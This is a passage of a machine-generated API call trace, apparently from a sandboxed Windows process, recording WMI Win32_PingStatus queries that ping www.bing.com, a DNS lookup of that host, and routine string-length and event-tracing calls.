pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.472] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe434 | out: puCount=0x59fe434*=0x2) returned 0x0 [0138.472] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe430*=0x0, pszText=0x0 | out: puBuffLength=0x59fe430*=0xf, pszText=0x0) returned 0x0 [0138.472] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe430*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe430*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.472] IWbemClassObject:GetNames (in: This=0x5ce3b38, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe43c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe430 | out: pNames=0x59fe430*="\x01ƀ\x04") returned 0x0 [0138.473] SafeArrayGetDim (psa=0x5cea130) returned 0x1 [0138.473] SafeArrayGetDim (psa=0x5cea130) returned 0x1 [0138.473] SafeArrayGetLBound (in: psa=0x5cea130, nDim=0x1, plLbound=0x59fe2c8 | out: plLbound=0x59fe2c8) returned 0x0 [0138.473] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.473] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.473] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.473] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.473] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.473] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.473] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.473] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.473] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.473] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.473] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.473] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.473] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.473] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.473] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.473] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.473] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.473] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.473] SysStringByteLen (bstr="__PATH") returned 0xc [0138.473] SysStringByteLen (bstr="__PATH") returned 0xc [0138.474] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__GENUS", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2849944*=0, plFlavor=0x2849948*=0 | out: pVal=0x59fe42c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2849944*=3, plFlavor=0x2849948*=64) returned 0x0 [0138.474] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2849978*=0, plFlavor=0x284997c*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2849978*=8, plFlavor=0x284997c*=64) returned 0x0 [0138.474] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.474] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.474] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28499d0*=0, plFlavor=0x28499d4*=0 | out: pVal=0x59fe42c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28499d0*=8, plFlavor=0x28499d4*=64) returned 0x0 [0138.474] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DYNASTY", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28499f8*=0, plFlavor=0x28499fc*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28499f8*=8, plFlavor=0x28499fc*=64) returned 0x0 [0138.474] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.474] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.474] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__RELPATH", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2849a50*=0, plFlavor=0x2849a54*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2849a50*=8, plFlavor=0x2849a54*=64) returned 0x0 [0138.474] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.474] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.474] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2849c28*=0, plFlavor=0x2849c2c*=0 | out: pVal=0x59fe42c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2849c28*=3, plFlavor=0x2849c2c*=64) returned 0x0 [0138.475] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DERIVATION", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2849c5c*=0, plFlavor=0x2849c60*=0 | out: pVal=0x59fe42c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea190*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09790, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2849c5c*=8200, plFlavor=0x2849c60*=64) returned 0x0 [0138.475] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SERVER", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2849c90*=0, plFlavor=0x2849c94*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2849c90*=8, plFlavor=0x2849c94*=64) returned 0x0 [0138.475] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.475] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.475] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2849cdc*=0, plFlavor=0x2849ce0*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2849cdc*=8, plFlavor=0x2849ce0*=64) returned 0x0 [0138.475] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.475] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.475] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PATH", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2849d28*=0, plFlavor=0x2849d2c*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2849d28*=8, plFlavor=0x2849d2c*=64) returned 0x0 [0138.475] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.476] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.476] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe470 | out: puCount=0x59fe470*=0x2) returned 0x0 [0138.476] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe46c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe46c*=0xf, pszText=0x0) returned 0x0 [0138.476] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe46c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe46c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.476] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="address", lFlags=0, pVal=0x59fe46c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2849f5c*=0, plFlavor=0x2849f60*=0 | out: pVal=0x59fe46c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x2849f5c*=8, plFlavor=0x2849f60*=0) returned 0x0 [0138.476] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0138.476] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0138.476] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="address", lFlags=0, pVal=0x59fe4c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2849f5c*=8, plFlavor=0x2849f60*=0 | out: pVal=0x59fe4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x2849f5c*=8, plFlavor=0x2849f60*=0) returned 0x0 [0138.476] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0138.476] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0138.476] GetAddrInfoW (in: pNodeName="www.bing.com", pServiceName=0x0, pHints=0x59fe510*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x59fe4b8 | out: ppResult=0x59fe4b8*=0x5d0b430*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="dual-a-0001.dc-msedge.net", ai_addr=0x5cf6d10*(sa_family=2, sin_port=0x0, sin_addr="131.253.33.200"), ai_next=0x5d0b3e0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5cf6cf8*(sa_family=2, sin_port=0x0, sin_addr="13.107.22.200"), ai_next=0x0))) returned 0 [0138.478] FreeAddrInfoW (pAddrInfo=0x5d0b430*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="dual-a-0001.dc-msedge.net", ai_addr=0x5cf6d10*(sa_family=2, sin_port=0x0, sin_addr="131.253.33.200"), ai_next=0x5d0b3e0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5cf6cf8*(sa_family=2, sin_port=0x0, sin_addr="13.107.22.200"), ai_next=0x0))) [0138.479] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59fe1f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0138.479] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59fe1f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0138.479] EtwEventActivityIdControl () returned 0x0 [0138.479] EtwEventActivityIdControl () returned 0x0 [0138.479] EtwEventActivityIdControl () returned 0x0 [0138.480] EtwEventActivityIdControl () returned 0x0 [0138.480] EtwEventActivityIdControl () returned 0x0 [0138.480] EtwEventActivityIdControl () returned 0x0 [0138.480] EtwEventActivityIdControl () returned 0x0 [0138.481] EtwEventActivityIdControl () returned 0x0 [0138.481] EtwEventActivityIdControl () returned 0x0 [0138.481] EtwEventActivityIdControl () returned 0x0 [0138.481] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0138.481] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0138.481] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.481] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0138.481] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0138.481] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.481] IWbemClassObject:GetNames (in: This=0x5ce3b38, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe748*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe73c | out: pNames=0x59fe73c*="\x01ƀ\x04") returned 0x0 [0138.481] SafeArrayGetDim (psa=0x5cea100) returned 0x1 [0138.481] SafeArrayGetDim (psa=0x5cea100) returned 0x1 [0138.481] SafeArrayGetLBound (in: psa=0x5cea100, nDim=0x1, plLbound=0x59fe5d4 | out: plLbound=0x59fe5d4) returned 0x0 [0138.481] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.481] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.481] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.481] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.481] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.482] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.482] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.482] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.482] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.482] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.482] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.482] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.482] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.482] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.482] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.482] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.482] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.482] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.482] SysStringByteLen (bstr="__PATH") returned 0xc [0138.482] SysStringByteLen (bstr="__PATH") returned 0xc [0138.482] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__GENUS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2853fa8*=0, plFlavor=0x2853fac*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2853fa8*=3, plFlavor=0x2853fac*=64) returned 0x0 [0138.483] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2853fdc*=0, plFlavor=0x2853fe0*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2853fdc*=8, plFlavor=0x2853fe0*=64) returned 0x0 [0138.483] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.483] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.483] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2854034*=0, plFlavor=0x2854038*=0 | out: pVal=0x59fe738*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2854034*=8, plFlavor=0x2854038*=64) returned 0x0 [0138.483] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DYNASTY", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285405c*=0, plFlavor=0x2854060*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x285405c*=8, plFlavor=0x2854060*=64) returned 0x0 [0138.483] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.483] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.483] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__RELPATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28540b4*=0, plFlavor=0x28540b8*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28540b4*=8, plFlavor=0x28540b8*=64) returned 0x0 [0138.483] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.483] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.483] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285428c*=0, plFlavor=0x2854290*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x285428c*=3, plFlavor=0x2854290*=64) returned 0x0 [0138.484] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DERIVATION", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28542c0*=0, plFlavor=0x28542c4*=0 | out: pVal=0x59fe738*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5ce9fb0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09790, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28542c0*=8200, plFlavor=0x28542c4*=64) returned 0x0 [0138.484] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SERVER", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28542f4*=0, plFlavor=0x28542f8*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x28542f4*=8, plFlavor=0x28542f8*=64) returned 0x0 [0138.484] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.484] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.484] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2854340*=0, plFlavor=0x2854344*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2854340*=8, plFlavor=0x2854344*=64) returned 0x0 [0138.484] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.484] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.484] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285438c*=0, plFlavor=0x2854390*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x285438c*=8, plFlavor=0x2854390*=64) returned 0x0 [0138.484] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.484] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.484] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe77c | out: puCount=0x59fe77c*=0x2) returned 0x0 [0138.484] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe778*=0x0, pszText=0x0 | out: puBuffLength=0x59fe778*=0xf, pszText=0x0) returned 0x0 [0138.484] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe778*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe778*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.485] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="BufferSize", lFlags=0, pVal=0x59fe778*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28545cc*=0, plFlavor=0x28545d0*=0 | out: pVal=0x59fe778*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x28545cc*=19, plFlavor=0x28545d0*=0) returned 0x0 [0138.485] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0138.485] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0138.485] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.485] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0138.485] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0138.485] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.485] IWbemClassObject:GetNames (in: This=0x5ce3b38, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe77c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe770 | out: pNames=0x59fe770*="\x01ƀ\x04") returned 0x0 [0138.485] SafeArrayGetDim (psa=0x5cea190) returned 0x1 [0138.485] SafeArrayGetDim (psa=0x5cea190) returned 0x1 [0138.485] SafeArrayGetLBound (in: psa=0x5cea190, nDim=0x1, plLbound=0x59fe608 | out: plLbound=0x59fe608) returned 0x0 [0138.488] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.488] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.488] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.488] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.488] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.488] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.489] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.489] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.489] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.489] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.489] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.489] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.489] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.489] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.489] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.489] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.489] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.489] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.489] SysStringByteLen (bstr="__PATH") returned 0xc [0138.489] SysStringByteLen (bstr="__PATH") returned 0xc [0138.489] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__GENUS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2854980*=0, plFlavor=0x2854984*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, 